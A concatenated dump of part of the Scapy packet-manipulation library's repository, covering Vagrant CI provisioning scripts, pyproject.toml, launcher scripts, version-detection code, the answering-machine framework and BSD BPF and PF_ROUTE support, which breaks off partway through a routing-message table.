pythonExceptions Structure endif if exists("python_space_error_highlight") hi def link pythonSpaceError Error endif if !exists("python_no_doctest_highlight") hi def link pythonDoctest Special hi def link pythonDoctestValue Define endif hi def link utsCampaign StatusLineTerm hi def link utsTestSet StatusLineTerm hi def link utsUnitTest StatusLineTermNC hi def link utsKeyword ModeMsg hi def link utsComment Comment let b:current_syntax = "uts" let &cpo = s:cpo_save unlet s:cpo_save " vim:set sw=2 sts=2 ts=8 noet: ================================================ FILE: doc/vagrant_ci/README.md ================================================ # Scapy Unit Tests This directory contains a Vagrant setup to ease starting `tox` based Scapy unit tests. ================================================ FILE: doc/vagrant_ci/Vagrantfile ================================================ # -*- mode: ruby -*- # vi: set ft=ruby : # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi Vagrant.configure("2") do |config| config.vm.provider "virtualbox" do |vb| vb.memory = 1024 vb.cpus = 2 end config.vm.define "openbsd" do |bsd| bsd.vm.box = "generic/openbsd7" bsd.vm.provision "shell", path: "provision_openbsd.sh" end config.vm.define "freebsd" do |bsd| bsd.vm.box = "freebsd/FreeBSD-14.0-RELEASE" bsd.vm.provision "shell", path: "provision_freebsd.sh" end config.vm.define "netbsd" do |bsd| bsd.vm.box = "generic/netbsd9" bsd.vm.provision "shell", path: "provision_netbsd.sh" end end ================================================ FILE: doc/vagrant_ci/provision_freebsd.sh ================================================ #!/usr/local/bin/bash # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi PACKAGES="git python39 python311 py39-virtualenv py39-pip py39-sqlite3 py311-sqlite3 bash rust sudo" pkg update pkg install --yes $PACKAGES bash git clone https://github.com/secdev/scapy cd scapy export PATH=/usr/local/bin/:$PATH virtualenv-3.9 -p python3.9 venv source venv/bin/activate pip install tox chown -R vagrant:vagrant /home/vagrant/scapy ================================================ FILE: doc/vagrant_ci/provision_netbsd.sh ================================================ #!/bin/bash # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi RELEASE="9.0_2022Q2" PACKAGES="git python27 python39 py39-virtualenv py27-sqlite3 py39-sqlite3 py39-expat rust mozilla-rootcerts-openssl" sudo -s unset PROMPT_COMMAND export PATH="/sbin:/usr/pkg/sbin:/usr/pkg/bin:$PATH" export PKG_PATH="http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/amd64/${RELEASE}/All/" pkg_delete curl pkg_add -u $PACKAGES git clone https://github.com/secdev/scapy cd scapy virtualenv-3.9 venv . venv/bin/activate pip install tox chown -R vagrant:vagrant ../scapy/ ================================================ FILE: doc/vagrant_ci/provision_openbsd.sh ================================================ #!/bin/bash # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi PACKAGES="git python3 py3-virtualenv py3-cryptography" sudo pkg_add $PACKAGES sudo mkdir -p /usr/local/test/ sudo chown -R vagrant:vagrant /usr/local/test/ cd /usr/local/test/ git clone https://github.com/secdev/scapy cd scapy virtualenv --system-site-packages venv source venv/bin/activate pip install tox sudo chown -R vagrant:vagrant /usr/local/test/ ================================================ FILE: pyproject.toml ================================================ [build-system] requires = [ "setuptools>=62.0.0" ] build-backend = "setuptools.build_meta" [project] name = "scapy" dynamic = [ "version", "readme" ] authors = [ { name="Philippe BIONDI" }, { name="Gabriel POTTER" }, ] maintainers = [ { name="Pierre LALET" }, { name="Gabriel POTTER" }, { name="Guillaume VALADON" }, { name="Nils WEISS" }, ] license = "GPL-2.0-only" requires-python = ">=3.7, <4" description = "Scapy: interactive packet manipulation tool" keywords = [ "network" ] classifiers = [ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: Developers", "Intended Audience :: Information Technology", "Intended Audience :: Science/Research", "Intended Audience :: System Administrators", "Intended Audience :: Telecommunications Industry", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", "Programming Language :: Python :: 3.13", "Topic :: Security", "Topic :: System :: Networking", "Topic :: System :: Networking :: Monitoring", ] [project.urls] Homepage = "https://scapy.net" Download = "https://github.com/secdev/scapy/tarball/master" Documentation = "https://scapy.readthedocs.io" "Source Code" = "https://github.com/secdev/scapy" Changelog = "https://github.com/secdev/scapy/releases" [project.scripts] scapy = "scapy.main:interact" [project.optional-dependencies] cli = [ "ipython" ] all = [ "ipython", "pyx", "cryptography>=2.0", "matplotlib", ] doc = [ "cryptography>=2.0", "sphinx>=7.0.0", "sphinx_rtd_theme>=1.3.0", "tox>=3.0.0", ] # setuptools specific [tool.setuptools.package-data] "scapy" = ["py.typed"] [tool.setuptools.packages.find] include = [ "scapy*", ] exclude = [ "test*", "doc*", ] [tool.setuptools.dynamic] version = { attr="scapy.VERSION" } # coverage [tool.coverage.run] concurrency = [ "thread", "multiprocessing" ] source = [ "scapy" ] omit = [ # Scapy tools "scapy/tools/", # Scapy external modules "scapy/libs/ethertypes.py", "scapy/libs/manuf.py", "scapy/libs/winpcapy.py", ] ================================================ FILE: run_scapy ================================================ #! /bin/sh DIR=$(dirname "$0") if [ -z "$PYTHON" ] then PYTHON=${PYTHON:-python3} fi $PYTHON --version > /dev/null 2>&1 if [ ! $? -eq 0 ] then echo "WARNING: '$PYTHON' not found, using 'python' instead." PYTHON=python fi PYTHONPATH=$DIR exec "$PYTHON" -m scapy $@ ================================================ FILE: run_scapy.bat ================================================ @echo off setlocal set PYTHONPATH=%~dp0 REM shift will not work with %* set "_args=%*" IF "%PYTHON%" == "" set PYTHON=py WHERE %PYTHON% >nul 2>&1 IF %ERRORLEVEL% NEQ 0 set PYTHON= IF "%1" == "-3" ( if "%PYTHON%" == "py" ( set "PYTHON=py -3" ) else ( set PYTHON=python3 ) set "_args=%_args:~3%" ) else ( IF "%PYTHON%" == "" set PYTHON=python3 WHERE %PYTHON% >nul 2>&1 IF %ERRORLEVEL% NEQ 0 set PYTHON=python ) %PYTHON% -m scapy %_args% title Scapy - dead PAUSE ================================================ FILE: scapy/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Scapy: create, send, sniff, dissect and manipulate network packets. Usable either from an interactive console or as a Python library. https://scapy.net """ import datetime import os import re import subprocess __all__ = [ "VERSION", "__version__", ] _SCAPY_PKG_DIR = os.path.dirname(__file__) def _parse_tag(tag): # type: (str) -> str """ Parse a tag from ``git describe`` into a version. Example:: v2.3.2-346-g164a52c075c8 -> '2.3.2.dev346' """ match = re.match('^v?(.+?)-(\\d+)-g[a-f0-9]+$', tag) if match: # remove the 'v' prefix and add a '.devN' suffix return '%s.dev%s' % (match.group(1), match.group(2)) else: match = re.match('^v?([\\d\\.]+(rc\\d+)?)$', tag) if match: # tagged release version return '%s' % (match.group(1)) else: raise ValueError('tag has invalid format') def _version_from_git_archive(): # type: () -> str """ Rely on git archive "export-subst" git attribute. See 'man gitattributes' for more details. Note: describe is only supported with git >= 2.32.0, and the `tags=true` option with git >= 2.35.0 but we use it to workaround GH#3121. """ git_archive_id = '$Format:%ct %(describe:tags=true)$'.split() tstamp = git_archive_id[0] if len(git_archive_id) > 1: tag = git_archive_id[1] else: # project is run in CI and has another %(describe) tag = "" if "Format" in tstamp: raise ValueError('not a git archive') if "describe" in tag: # git is too old! tag = "" if tag: # archived revision is tagged, use the tag return _parse_tag(tag) elif tstamp: # archived revision is not tagged, use the commit date d = datetime.datetime.fromtimestamp(int(tstamp), datetime.timezone.utc) return d.strftime('%Y.%m.%d') raise ValueError("invalid git archive format") def _version_from_git_describe(): # type: () -> str """ Read the version from ``git describe``. It returns the latest tag with an optional suffix if the current directory is not exactly on the tag. Example:: $ git describe --always v2.3.2-346-g164a52c075c8 The tag prefix (``v``) and the git commit sha1 (``-g164a52c075c8``) are removed if present. If the current directory is not exactly on the tag, a ``.devN`` suffix is appended where N is the number of commits made after the last tag. Example:: >>> _version_from_git_describe() '2.3.2.dev346' :raises CalledProcessError: if git is unavailable :return: Scapy's latest tag """ if not os.path.isdir(os.path.join(os.path.dirname(_SCAPY_PKG_DIR), '.git')): # noqa: E501 raise ValueError('not in scapy git repo') def _git(cmd): # type: (str) -> str process = subprocess.Popen( cmd.split(), cwd=_SCAPY_PKG_DIR, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) out, err = process.communicate() if process.returncode == 0: return out.decode().strip() else: raise subprocess.CalledProcessError(process.returncode, err) tag = _git("git describe --tags --always --long") if not tag.startswith("v"): # Upstream was not fetched commit = _git("git rev-list --tags --max-count=1") tag = _git("git describe --tags --always --long %s" % commit) return _parse_tag(tag) def _version(): # type: () -> str """Returns the Scapy version from multiple methods :return: the Scapy version """ # Method 0: from external packaging try: # possibly forced by external packaging return os.environ['SCAPY_VERSION'] except KeyError: pass # Method 1: from the VERSION file, included in sdist and wheels version_file = os.path.join(_SCAPY_PKG_DIR, 'VERSION') try: # file generated when running sdist with open(version_file, 'r') as fdsec: tag = fdsec.read() return tag except (FileNotFoundError, NotADirectoryError): pass # Method 2: from the archive tag, exported when using git archives try: return _version_from_git_archive() except ValueError: pass # Method 3: from git itself, used when Scapy was cloned try: return _version_from_git_describe() except Exception: pass # Fallback try: # last resort, use the modification date of __init__.py d = datetime.datetime.fromtimestamp( os.path.getmtime(__file__), datetime.timezone.utc ) return d.strftime('%Y.%m.%d') except Exception: pass # all hope is lost return '0.0.0' VERSION = __version__ = _version() _tmp = re.search(r"([0-9]|\.[0-9])+", VERSION) VERSION_MAIN = _tmp.group() if _tmp is not None else VERSION if __name__ == "__main__": from scapy.main import interact interact() ================================================ FILE: scapy/__main__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Scapy: create, send, sniff, dissect and manipulate network packets. Usable either from an interactive console or as a Python library. http://www.secdev.org/projects/scapy """ from scapy.main import interact interact() ================================================ FILE: scapy/all.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Aggregate top level objects from all Scapy modules. """ from scapy.base_classes import * from scapy.config import * from scapy.dadict import * from scapy.data import * from scapy.error import * from scapy.themes import * from scapy.arch import * from scapy.interfaces import * from scapy.plist import * from scapy.fields import * from scapy.packet import * from scapy.asn1fields import * from scapy.asn1packet import * from scapy.utils import * from scapy.route import * from scapy.sendrecv import * from scapy.sessions import * from scapy.supersocket import * from scapy.volatile import * from scapy.as_resolvers import * from scapy.automaton import * from scapy.autorun import * from scapy.main import * from scapy.consts import * from scapy.compat import raw # noqa: F401 from scapy.layers.all import * from scapy.asn1.asn1 import * from scapy.asn1.ber import * from scapy.asn1.mib import * from scapy.pipetool import * from scapy.scapypipes import * if conf.ipv6_enabled: # noqa: F405 from scapy.utils6 import * # noqa: F401 from scapy.route6 import * # noqa: F401 from scapy.ansmachine import * ================================================ FILE: scapy/ansmachine.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Answering machines. """ ######################## # Answering machines # ######################## import abc import functools import threading import socket import warnings from scapy.arch import get_if_addr from scapy.config import conf from scapy.sendrecv import sendp, sniff, AsyncSniffer from scapy.packet import Packet from scapy.plist import PacketList from typing import ( Any, Callable, Dict, Generic, Optional, Tuple, Type, TypeVar, cast, ) _T = TypeVar("_T", Packet, PacketList) class ReferenceAM(type): def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type['AnsweringMachine[_T]'] obj = cast('Type[AnsweringMachine[_T]]', super(ReferenceAM, cls).__new__(cls, name, bases, dct)) try: import inspect obj.__signature__ = inspect.signature( # type: ignore obj.parse_options ) except (ImportError, AttributeError): pass if obj.function_name: func = lambda obj=obj, *args, **kargs: obj(*args, **kargs)() # type: ignore # noqa: E501 # Inject signature func.__name__ = func.__qualname__ = obj.function_name func.__doc__ = obj.__doc__ or obj.parse_options.__doc__ try: func.__signature__ = obj.__signature__ # type: ignore except (AttributeError): pass globals()[obj.function_name] = func return obj class AnsweringMachine(Generic[_T], metaclass=ReferenceAM): function_name = "" filter = None # type: Optional[str] sniff_options = {"store": 0} # type: Dict[str, Any] sniff_options_list = ["store", "iface", "count", "promisc", "filter", "type", "prn", "stop_filter", "opened_socket"] send_options = {"verbose": 0} # type: Dict[str, Any] send_options_list = ["iface", "inter", "loop", "verbose", "socket"] send_function = staticmethod(sendp) def __init__(self, **kargs): # type: (Any) -> None self.mode = 0 self.verbose = kargs.get("verbose", conf.verb >= 0) if self.filter: kargs.setdefault("filter", self.filter) kargs.setdefault("prn", self.reply) self.optam1 = {} # type: Dict[str, Any] self.optam2 = {} # type: Dict[str, Any] self.optam0 = {} # type: Dict[str, Any] doptsend, doptsniff = self.parse_all_options(1, kargs) self.defoptsend = self.send_options.copy() self.defoptsend.update(doptsend) self.defoptsniff = self.sniff_options.copy() self.defoptsniff.update(doptsniff) self.optsend = {} # type: Dict[str, Any] self.optsniff = {} # type: Dict[str, Any] def __getattr__(self, attr): # type: (str) -> Any for dct in [self.optam2, self.optam1]: if attr in dct: return dct[attr] raise AttributeError(attr) def __setattr__(self, attr, val): # type: (str, Any) -> None mode = self.__dict__.get("mode", 0) if mode == 0: self.__dict__[attr] = val else: [self.optam1, self.optam2][mode - 1][attr] = val def parse_options(self): # type: () -> None pass def parse_all_options(self, mode, kargs): # type: (int, Any) -> Tuple[Dict[str, Any], Dict[str, Any]] sniffopt = {} # type: Dict[str, Any] sendopt = {} # type: Dict[str, Any] for k in list(kargs): # use list(): kargs is modified in the loop if k in self.sniff_options_list: sniffopt[k] = kargs[k] if k in self.send_options_list: sendopt[k] = kargs[k] if k in self.sniff_options_list + self.send_options_list: del kargs[k] if mode != 2 or kargs: if mode == 1: self.optam0 = kargs elif mode == 2 and kargs: k = self.optam0.copy() k.update(kargs) self.parse_options(**k) kargs = k omode = self.__dict__.get("mode", 0) self.__dict__["mode"] = mode self.parse_options(**kargs) self.__dict__["mode"] = omode return sendopt, sniffopt def is_request(self, req): # type: (Packet) -> int return 1 @abc.abstractmethod def make_reply(self, req): # type: (Packet) -> _T pass def send_reply(self, reply, send_function=None): # type: (_T, Optional[Callable[..., None]]) -> None if send_function: send_function(reply) else: self.send_function(reply, **self.optsend) def print_reply(self, req, reply): # type: (Packet, _T) -> None if isinstance(reply, PacketList): print("%s ==> %s" % (req.summary(), [res.summary() for res in reply])) else: print("%s ==> %s" % (req.summary(), reply.summary())) def reply(self, pkt, send_function=None, address=None): # type: (Packet, Optional[Callable[..., None]], Optional[Any]) -> None if not self.is_request(pkt): return if address: # Only on AnsweringMachineTCP reply = self.make_reply(pkt, address=address) # type: ignore else: reply = self.make_reply(pkt) if not reply: return if send_function: self.send_reply(reply, send_function=send_function) else: # Retro-compability. Remove this if eventually self.send_reply(reply) if self.verbose: self.print_reply(pkt, reply) def run(self, *args, **kargs): # type: (Any, Any) -> None warnings.warn( "run() method deprecated. The instance is now callable", DeprecationWarning ) self(*args, **kargs) def bg(self, *args, **kwargs): # type: (Any, Any) -> AsyncSniffer kwargs.setdefault("bg", True) self(*args, **kwargs) return self.sniffer def __call__(self, *args, **kargs): # type: (Any, Any) -> None bg = kargs.pop("bg", False) optsend, optsniff = self.parse_all_options(2, kargs) self.optsend = self.defoptsend.copy() self.optsend.update(optsend) self.optsniff = self.defoptsniff.copy() self.optsniff.update(optsniff) if bg: self.sniff_bg() else: try: self.sniff() except KeyboardInterrupt: print("Interrupted by user") def sniff(self): # type: () -> None sniff(**self.optsniff) def sniff_bg(self): # type: () -> None self.sniffer = AsyncSniffer(**self.optsniff) self.sniffer.start() class AnsweringMachineTCP(AnsweringMachine[Packet]): """ An answering machine that use the classic socket.socket to answer multiple TCP clients """ TYPE = socket.SOCK_STREAM def parse_options(self, port=80, cls=conf.raw_layer): # type: (int, Type[Packet]) -> None self.port = port self.cls = cls def close(self): # type: () -> None pass def sniff(self): # type: () -> None from scapy.supersocket import StreamSocket ssock = socket.socket(socket.AF_INET, self.TYPE) try: ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) except OSError: pass ssock.bind( (get_if_addr(self.optsniff.get("iface", conf.iface)), self.port)) ssock.listen() sniffers = [] try: while True: clientsocket, address = ssock.accept() print("%s connected" % repr(address)) sock = StreamSocket(clientsocket, self.cls) optsniff = self.optsniff.copy() optsniff["prn"] = functools.partial(self.reply, send_function=sock.send, address=address) del optsniff["iface"] sniffer = AsyncSniffer(opened_socket=sock, **optsniff) sniffer.start() sniffers.append((sniffer, sock)) finally: for (sniffer, sock) in sniffers: try: sniffer.stop() except Exception: pass sock.close() self.close() ssock.close() def sniff_bg(self): # type: () -> None self.sniffer = threading.Thread(target=self.sniff) # type: ignore self.sniffer.start() def make_reply(self, req, address=None): # type: (Packet, Optional[Any]) -> Packet return req class AnsweringMachineUDP(AnsweringMachineTCP): """ An answering machine that use the classic socket.socket to answer multiple UDP clients """ TYPE = socket.SOCK_DGRAM ================================================ FILE: scapy/arch/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Operating system specific functionality. """ import socket import sys from scapy.compat import orb from scapy.config import conf, _set_conf_sockets from scapy.consts import LINUX, SOLARIS, WINDOWS, BSD from scapy.data import ( IPV6_ADDR_GLOBAL, IPV6_ADDR_LOOPBACK, ) from scapy.error import log_loading from scapy.interfaces import ( _GlobInterfaceType, network_name, resolve_iface, ) from scapy.pton_ntop import inet_pton, inet_ntop from scapy.libs.extcap import load_extcap # Typing imports from typing import ( List, Optional, Tuple, Union, TYPE_CHECKING, ) if TYPE_CHECKING: from scapy.interfaces import NetworkInterface # Note: the typing of this file is heavily ignored because MyPy doesn't allow # to import the same function from different files. # This list only includes imports that are common across all platforms. __all__ = [ # noqa: F405 "get_if_addr", "get_if_addr6", "get_if_hwaddr", "get_if_list", "get_if_raw_addr", "get_if_raw_addr6", "get_working_if", "in6_getifaddr", "read_nameservers", "read_routes", "read_routes6", "load_extcap", "SIOCGIFHWADDR", ] # BACKWARD COMPATIBILITY from scapy.interfaces import ( get_if_list, get_working_if, ) # We build the utils functions BEFORE importing the underlying handlers # because they might be themselves imported within the arch/ folder. def str2mac(s): # Duplicated from scapy/utils.py for import reasons # type: (bytes) -> str return ("%02x:" * 6)[:-1] % tuple(orb(x) for x in s) def get_if_addr(iff): # type: (_GlobInterfaceType) -> str """ Returns the IPv4 of an interface or "0.0.0.0" if not available """ return inet_ntop(socket.AF_INET, get_if_raw_addr(iff)) # noqa: F405 def get_if_hwaddr(iff): # type: (_GlobInterfaceType) -> str """ Returns the MAC (hardware) address of an interface """ return resolve_iface(iff).mac or "00:00:00:00:00:00" def get_if_addr6(niff): # type: (_GlobInterfaceType) -> Optional[str] """ Returns the main global unicast address associated with provided interface, in human readable form. If no global address is found, None is returned. """ iff = network_name(niff) scope = IPV6_ADDR_GLOBAL if iff == conf.loopback_name: scope = IPV6_ADDR_LOOPBACK return next((x[0] for x in in6_getifaddr() if x[2] == iff and x[1] == scope), None) def get_if_raw_addr6(iff): # type: (_GlobInterfaceType) -> Optional[bytes] """ Returns the main global unicast address associated with provided interface, in network format. If no global address is found, None is returned. """ ip6 = get_if_addr6(iff) if ip6 is not None: return inet_pton(socket.AF_INET6, ip6) return None # Next step is to import following architecture specific functions: # def attach_filter(s, filter, iface) # def get_if_raw_addr(iff) # def in6_getifaddr() # def read_nameservers() # def read_routes() # def read_routes6() # def set_promisc(s,iff,val=1) if LINUX: from scapy.arch.linux import * # noqa F403 elif BSD: from scapy.arch.bpf.core import * # noqa F403 if not conf.use_pcap: # Native from scapy.arch.bpf.supersocket import * # noqa F403 conf.use_bpf = True SIOCGIFHWADDR = 0 # mypy compat elif SOLARIS: from scapy.arch.solaris import * # noqa F403 elif WINDOWS: from scapy.arch.windows import * # noqa F403 from scapy.arch.windows.native import * # noqa F403 SIOCGIFHWADDR = 0 # mypy compat else: log_loading.critical( "Scapy currently does not support %s! I/O will NOT work!" % sys.platform ) SIOCGIFHWADDR = 0 # mypy compat # DUMMYS def get_if_raw_addr(iff: Union['NetworkInterface', str]) -> bytes: return b"\0\0\0\0" def in6_getifaddr() -> List[Tuple[str, int, str]]: return [] def read_nameservers() -> List[str]: return [] def read_routes() -> List[str]: return [] def read_routes6() -> List[str]: return [] if LINUX or BSD: conf.load_layers.append("tuntap") _set_conf_sockets() # Apply config ================================================ FILE: scapy/arch/bpf/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Guillaume Valadon """ Scapy BSD native support """ ================================================ FILE: scapy/arch/bpf/consts.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Guillaume Valadon """ Scapy BSD native support - constants """ import ctypes from scapy.libs.structures import bpf_program from scapy.data import MTU # Type hints from typing import ( Any, Callable, ) SIOCGIFFLAGS = 0xc0206911 BPF_BUFFER_LENGTH = MTU # From sys/ioccom.h IOCPARM_MASK = 0x1fff IOC_VOID = 0x20000000 IOC_OUT = 0x40000000 IOC_IN = 0x80000000 IOC_INOUT = IOC_IN | IOC_OUT _th = lambda x: x if isinstance(x, int) else ctypes.sizeof(x) # type: Callable[[Any], int] # noqa: E501 def _IOC(inout, group, num, len): # type: (int, str, int, Any) -> int return (inout | ((_th(len) & IOCPARM_MASK) << 16) | (ord(group) << 8) | (num)) _IO = lambda g, n: _IOC(IOC_VOID, g, n, 0) # type: Callable[[str, int], int] _IOR = lambda g, n, t: _IOC(IOC_OUT, g, n, t) # type: Callable[[str, int, Any], int] _IOW = lambda g, n, t: _IOC(IOC_IN, g, n, t) # type: Callable[[str, int, Any], int] _IOWR = lambda g, n, t: _IOC(IOC_INOUT, g, n, t) # type: Callable[[str, int, Any], int] # Length of some structures _bpf_stat = 8 _ifreq = 32 # From net/bpf.h BIOCGBLEN = _IOR('B', 102, ctypes.c_uint) BIOCSBLEN = _IOWR('B', 102, ctypes.c_uint) BIOCSETF = _IOW('B', 103, bpf_program) BIOCPROMISC = _IO('B', 105) BIOCGDLT = _IOR('B', 106, ctypes.c_uint) BIOCSETIF = _IOW('B', 108, 32) BIOCGSTATS = _IOR('B', 111, _bpf_stat) BIOCIMMEDIATE = _IOW('B', 112, ctypes.c_uint) BIOCSHDRCMPLT = _IOW('B', 117, ctypes.c_uint) BIOCSDLT = _IOW('B', 120, ctypes.c_uint) BIOCSTSTAMP = _IOW('B', 132, ctypes.c_uint) BPF_T_NANOTIME = 0x0001 ================================================ FILE: scapy/arch/bpf/core.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Guillaume Valadon """ Scapy *BSD native support - core """ import fcntl import os import socket import struct from scapy.arch.bpf.consts import BIOCSETF, BIOCSETIF from scapy.arch.common import compile_filter, free_filter from scapy.config import conf from scapy.consts import LINUX from scapy.error import Scapy_Exception from scapy.interfaces import ( InterfaceProvider, NetworkInterface, _GlobInterfaceType, ) # re-export from scapy.arch.bpf.pfroute import ( # noqa F403 read_routes, read_routes6, _get_if_list, ) from scapy.arch.common import get_if_raw_addr, read_nameservers # noqa: F401 # Typing from typing import ( Dict, List, Tuple, ) if LINUX: raise OSError("BPF conflicts with Linux") # BPF specific functions def get_dev_bpf(): # type: () -> Tuple[int, int] """Returns an opened BPF file object""" # Get the first available BPF handle for bpf in range(256): try: fd = os.open("/dev/bpf%i" % bpf, os.O_RDWR) return (fd, bpf) except OSError as ex: if ex.errno == 13: # Permission denied raise Scapy_Exception( ( "Permission denied: could not open /dev/bpf%i. " "Make sure to be running Scapy as root ! (sudo)" ) % bpf ) continue raise Scapy_Exception("No /dev/bpf handle is available !") def attach_filter(fd, bpf_filter, iface): # type: (int, str, _GlobInterfaceType) -> None """Attach a BPF filter to the BPF file descriptor""" bp = compile_filter(bpf_filter, iface) # Assign the BPF program to the interface ret = fcntl.ioctl(fd, BIOCSETF, bp) if ret < 0: raise Scapy_Exception("Can't attach the BPF filter !") # Free free_filter(bp) def in6_getifaddr(): # type: () -> List[Tuple[str, int, str]] """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'iface'. This is the list of all addresses of all interfaces available on the system. """ ifaces = _get_if_list() return [ (ip["address"], ip["scope"], iface["name"]) for iface in ifaces.values() for ip in iface["ips"] if ip["af_family"] == socket.AF_INET6 ] # Interface provider class BPFInterfaceProvider(InterfaceProvider): name = "BPF" def _is_valid(self, dev): # type: (NetworkInterface) -> bool if not dev.flags & 0x1: # not IFF_UP return False # Get a BPF handle try: fd = get_dev_bpf()[0] except Scapy_Exception: return True # Can't check if available (non sudo?) if fd is None: raise Scapy_Exception("No /dev/bpf are available !") # Check if the interface can be used try: fcntl.ioctl(fd, BIOCSETIF, struct.pack("16s16x", dev.network_name.encode())) except IOError: return False else: return True finally: # Close the file descriptor os.close(fd) def load(self): # type: () -> Dict[str, NetworkInterface] data = {} for iface in _get_if_list().values(): if_data = iface.copy() if_data.update( { "network_name": iface["name"], "description": iface["name"], "ips": [x["address"] for x in iface["ips"]], } ) data[iface["name"]] = NetworkInterface(self, if_data) return data conf.ifaces.register_provider(BPFInterfaceProvider) ================================================ FILE: scapy/arch/bpf/pfroute.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ This file implements the PF_ROUTE API that is used to read the network configuration of the machine. """ import ctypes import ctypes.util import socket import struct from scapy.consts import ( BIG_ENDIAN, BSD, DARWIN, IS_64BITS, NETBSD, OPENBSD, ) from scapy.config import conf from scapy.error import log_runtime from scapy.packet import ( Packet, bind_layers, ) from scapy.utils import atol from scapy.utils6 import in6_mask2cidr, in6_getscope from scapy.fields import ( ByteEnumField, ByteField, ConditionalField, Field, FlagsField, IP6Field, IPField, MACField, MultipleTypeField, PacketField, PacketListField, FieldListField, PadField, StrField, StrFixedLenField, StrLenField, XStrLenField, ) from scapy.pton_ntop import inet_pton # Typing imports from typing import ( Any, Dict, Optional, List, Tuple, Type, ) # Missing attributes if not hasattr(socket, "PF_ROUTE"): socket.PF_ROUTE = 17 # ctypes definitions if BSD: # Can be imported for testing. LIBC = ctypes.cdll.LoadLibrary(ctypes.util.find_library("c")) LIBC.sysctl.argtypes = [ ctypes.POINTER(ctypes.c_int), ctypes.c_uint, ctypes.c_void_p, ctypes.POINTER(ctypes.c_size_t), ctypes.c_void_p, ctypes.c_size_t, ] LIBC.sysctl.restype = ctypes.c_int else: LIBC = None _bsd_iff_flags = [ "UP", "BROADCAST", "DEBUG", "LOOPBACK", "POINTOPOINT", "NEEDSEPOCH", # UNNUMBERED on NetBSD "DRV_RUNNING", "NOARP", "PROMISC", "ALLMULTI", "DRV_OACTIVE", "SIMPLEX", "LINK0", "LINK1", "LINK2", "MULTICAST", "CANTCONFIG", "PPROMISC", "MONITOR", "STATICARP", "STICKYARP", "DYING", "RENAMING", "SPARE", "NETLINK_1", ] if NETBSD: _RTM_TYPE = { # man 4 route 0x01: "RTM_ADD", 0x02: "RTM_DELETE", 0x03: "RTM_CHANGE", 0x04: "RTM_GET", 0x05: "RTM_LOSING", 0x06: "RTM_REDIRECT", 0x07: "RTM_MISS", 0x08: "RTM_LOCK", 0x09: "RTM_OLDADD", 0x0A: "RTM_OLDDEL", 0x0B: "RTM_RESOLVE", 0x0C: "RTM_ONEWADDR", 0x0D: "RTM_ODELADDR", 0x0E: "RTM_OOIFINFO", 0x0F: "RTM_OIFINFO", 0x10: "RTM_IFANNOUNCE", 0x11: "RTM_IEEE80211", 0x12: "RTM_SETGATE", 0x13: "RTM_LLINFO_UPD", 0x14: "RTM_IFINFO", 0x15: "RTM_OCHGADDR", 0x16: "RTM_NEWADDR", 0x17: "RTM_DELADDR", 0x18: "RTM_CHGADDR", } elif OPENBSD: _RTM_TYPE = { # man 4 route 0x01: "RTM_ADD", 0x02: "RTM_DELETE", 0x03: "RTM_CHANGE", 0x04: "RTM_GET", 0x05: "RTM_LOSING", 0x06: "RTM_REDIRECT", 0x07: "RTM_MISS", 0x08: "RTM_LOCK", 0x09: "RTM_OLDADD", 0x0A: "RTM_OLDDEL", 0x0B: "RTM_RESOLVE", 0x0C: "RTM_NEWADDR", 0x0D: "RTM_DELADDR", 0x0E: "RTM_IFINFO", 0x0F: "RTM_IFANNOUNCE", 0x10: "RTM_DESYNC", 0x11: "RTM_INVALIDATE", } elif DARWIN: _RTM_TYPE = { # man 4 route 0x01: "RTM_ADD", 0x02: "RTM_DELETE", 0x03: "RTM_CHANGE", 0x04: "RTM_GET", 0x05: "RTM_LOSING", 0x06: "RTM_REDIRECT", 0x07: "RTM_MISS", 0x08: "RTM_LOCK", 0x09: "RTM_OLDADD", 0x0A: "RTM_OLDDEL", 0x0B: "RTM_RESOLVE", 0x0C: "RTM_NEWADDR", 0x0D: "RTM_DELADDR", 0x0E: "RTM_IFINFO", 0x0F: "RTM_NEWMADDR", 0x10: "RTM_DELMADDR", 0x12: "RTM_IFINFO2", 0x13: "RTM_NEWMADDR2", 0x14: "RTM_GET2", } else: # FreeBSD _RTM_TYPE = { # man 4 route 0x01: "RTM_ADD", 0x02: "RTM_DELETE", 0x03: "RTM_CHANGE", 